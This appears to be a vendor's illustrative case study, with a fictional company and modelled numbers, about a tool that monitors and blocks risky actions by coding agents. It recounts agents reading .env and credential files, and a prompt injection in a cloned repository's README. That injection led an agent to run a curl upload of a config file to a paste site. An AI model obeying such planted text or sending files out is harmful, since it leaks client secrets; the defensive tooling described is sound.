Illustrative exampleThis company is fictional. The numbers come from a modelled fleet, not a customer.

Example deployment

How a 600-person consultancy stopped coding agents from reading client secrets on 210 devices

Across 210 devices at a fictional consultancy, Runtime blocked 38 reads of credential files and 6 uploads to paste sites in 30 days.

At a glance
Company
Software consultancy, 600 people
Devices
210 devices that run coding agents
Device management
Iru
Agents
Claude Code, Codex, Cursor
Modules
Supply Chain, Runtime
Log only to blocking
4 weeks

What changed in the first weeks.

38

agent attempts to read .env or credential files, blocked in 30 days

Each one would have put a client's secret into the agent's context, on its way to a model provider.

6

agent uploads to paste sites, blocked in 30 days, one of them led by instructions hidden in a cloned repository's README

Client code and configuration stayed off public paste sites, including in the one case where a repository told the agent to send it there.

None

of the prompts, commands, or file paths were sent to Signals Corps by Runtime

Client details stay on the consultant's device. This comes from how Runtime is built, so it holds by design and wasn't measured.

Fictional quote

Runtime blocked 38 attempts to read credential files in the first month. Our consultants kept the agents they like, and client secrets stayed on their devices.

Head of IT, 600-person software consultancy (fictional)

The company and the person quoted are invented to show how a rollout can go.

Coding agents worked inside client repositories with the consultant's access.

The consultancy builds and maintains software for its clients. On 210 of its devices, consultants use Claude Code, Codex, or Cursor on client code, often several clients' repositories on the same machine. Each repository can hold a .env file with that client's API keys, and each device has the consultant's own cloud credentials in files like ~/.aws/credentials.

The team couldn't say what the agents did with that access. An agent that reads a .env file while debugging puts the client's keys into its context. An agent that uploads a log to a paste site puts client code on the public internet. Client contracts say both must not happen, and nobody could show that they didn't.

How the rollout ran.

  1. Day 0Five devices, log only

    IT pushes the Endpoint Agent to 5 devices through Iru and approves each enrollment code in Control Plane. Runtime logs what it would have done and blocks nothing.

  2. Week 2All 210 devices, still log only

    The package goes to every device that runs a coding agent. Control Plane shows each agent on each device as observable or blocking capable, and IT updates the agents that aren't yet blocking capable.

  3. Week 4Blocking on for three rules

    Runtime starts blocking reads of .env and credential files, uploads to paste sites, and force pushes. Everything else stays log only.

  4. Week 4, day 5A legitimate force push is blocked

    An engineer's agent is blocked from force pushing during a client release. The team changes that rule from block to ask for approval.

  5. Day 30 of blocking38 secret reads and 6 uploads blocked

    Control Plane shows 38 blocked reads of .env or credential files and 6 blocked uploads to paste sites in the first 30 days.

Agents reached for secrets during ordinary work.

The team ran Runtime in log only for four weeks, first on 5 devices and then on all 210. Runtime checked each shell command, tool call, file read, and network destination before it ran, and logged the decision it would have made. Nothing was blocked, so engineers kept working as before.

The log-only weeks showed the same three patterns again and again. Agents read .env files to find a missing setting while debugging. Agents offered to share a log or a diff through a paste site. And agents ran git push --force when a branch had diverged. The team saw no sign of an attack in any of them. The client contracts still rule out the first two, and the team wanted a person to decide the third.

Supply Chain ran from the same package. It listed the skills and instruction files that Claude Code loaded on each device, so the team could review them and decide which to trust.

Block three actions, and turn one block into an approval.

In week 4 the team turned on blocking for three rules: reads of .env and credential files, uploads to paste sites, and force pushes. In the first 30 days Runtime blocked 38 attempts to read .env or credential files and 6 uploads to paste sites. In each case the developer saw that the action was blocked and which rule matched.

One of the 6 uploads had a different cause. A consultant cloned a client's open source dependency into a Cursor workspace and asked the agent to set up the project. The repository's README.md contained text addressed to AI agents, telling them to upload the project's configuration to a paste site as a setup step. The agent followed it and tried to run curl -F file=@config/settings.yml https://paste.example. Runtime blocked the upload because it matched the paste-site rule.

Runtime caught the upload by checking what the agent did. It leaves repository text such as a README alone, so the injected instructions themselves went unflagged. The consultant saw the block, read the README on their own device, and found the hidden text. The team reported it to the client. If the instructions had named a destination the rule didn't cover, the upload would have gone through, because rules catch the patterns they describe.

On day 5 of blocking, Runtime stopped a command the team wanted to run. During a client release, an engineer asked Claude Code to rebase the release branch and push it. Runtime blocked git push --force-with-lease origin release/2.4 under the force-push rule. The push was correct and planned, so the release stopped until the team decided what to do. That afternoon they changed the force-push rule from block to ask for approval. The engineer asked the agent to push again, the request waited in Control Plane, Security approved it, and the release went out. Every force push from an agent now waits for IT & Security teams in the same way.

What the team can answer for a client now.

The table shows how the team answered common client questions before Runtime, and how it answers them now.

QuestionBeforeAfter
Can a coding agent read our .env file?A policy that says it shouldn'tRuntime blocks it, 38 times in the first 30 days
Can an agent post our code to a paste site?Trust each consultant to noticeRuntime blocks it, 6 times in the first 30 days
Who approves a force push from an agent?Nobody, the agent runs itIT & Security teams, in Control Plane, while the push waits
Which agents can you control on each device?UnknownEach agent's status per device in Control Plane, such as blocking capable or degraded
Do our prompts or file paths leave your devices?No way to checkThey stay on the device, because Runtime sends no prompts or file paths to the cloud

What this fleet would cost.

210 devices on Supply Chain and Runtime. Free devices on every plan. Your bill depends on how many devices you cover, so heavier agent use doesn't change it, and finance can plan ahead.

Estimate your cost

Read the solutions behind it.

Built on these modules.

While agents act

Runtime

Control risky agent actions. Before they execute.

Stop unsafe agent actions in real time while safe work carries on.

Explore Runtime
Before trust

Supply Chain

Find every AI agent on every device. Check every skill it loads.

See which AI agents run on each device and which identities they can reach, check the skills they load, and block what you don't trust.

Explore Supply Chain

Early access

Reduce agent risk without slowing your teams down.

Start reducing agent risk before general release by checking agent components, controlling agent actions, and hunting through your AI security logs. Signals Corps Control Plane opens to early sign ups in the next few weeks, so join the waitlist with your company email.

Get early access